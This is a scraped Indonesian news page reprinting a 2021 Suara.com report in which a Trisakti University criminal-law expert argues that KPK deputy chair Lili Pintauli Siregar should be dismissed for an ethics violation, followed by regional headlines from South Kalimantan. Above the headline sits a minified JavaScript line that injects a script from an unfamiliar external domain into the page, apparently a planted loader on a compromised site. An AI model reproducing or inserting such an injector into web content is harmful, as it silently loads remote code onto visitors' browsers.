(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Wakil Ketua KPK Langgar Etik, Pakar: Harus Dipecat, Komisioner Tak Boleh Cacat Moral


KANALKALIMANTAN.COM – Pakar hukum pidana Universitas Trisakti, Abdul Fickar Hadjar mengatakan Dewan Pengawas Komisi Pemberantasan Korupsi atau Dewas KPK seharusnya memecat Lili Pintauli Siregar karena terbukti melakukan pelanggaran etik. Sebab tindakan Wakil Ketua KPK itu sudah masuk kategori pelanggaran tindak pidana.

“Menurut saya sudah pidana itu, mestinya dikeluarin. Nggak boleh ada komisioner kotor, cacat moral seperti itu,” kata Fickar kepada Suara.com, Selasa (31/8/2021) malam.

Lili sendiri telah divonis terbukti melakukan pelanggaran etik karena berhubungan dengan pihak yang berperkara di KPK, Wali Kota Tanjung Balai nonaktif M Syharial. Syharial kini ditetapkan menjadi tersangka dalam kasus dugaan suap jual beli jabatan. Namun Wakil Ketua KPK itu hanya dijatuhi sanksi pemotongan gaji pokok 40 persen selama 12 bulan.

Menurutnya, seorang komisioner KPK harus sosok yang bersih dan bebas dari cacat moral. Sehingga tidak punya beban dan dipercaya oleh masyarakat dalam tugas-tugas pemberantasan korupsi.

 

 

Baca juga: BOR di RSUD Jaraga Sasameh 30 Persen, Ini Harapan Bupati Eddy Raya

“Idealnya takaran orang di KPK nggak punya cacat moral, baru dia bisa menegakkan, memberantas korupsi dengan benar. Karena dia sendiri bersih, dia sendiri nggak mau,” ucap dia.

Dia berpendapat, seorang komisioner yang kotor dan tak berintegritas apalagi tindakannya masuk unsur pidana harus dikeluarkan dari KPK.

“Mestinya kalau sudah cacat sedikit dikeluarin. Kalau sekarang susah, masih di situ karena ada sistemnya,” kata Fickar.

Bahkan, Fickar menyarankan Lili untuk mundur dari jabatannya. Hal tersebut sebagai pembenahan di tubuh lembaga anti rasuah tersebut.

“Kalau menurut saya lebih baik Lili mengundurkan diri untuk pembenahan dan menyelamatkan KPK,” katanya. (Suara.com)

Editor: suara


Risa

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

1 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

2 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

4 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

7 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

10 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

10 jam ago

This website uses cookies.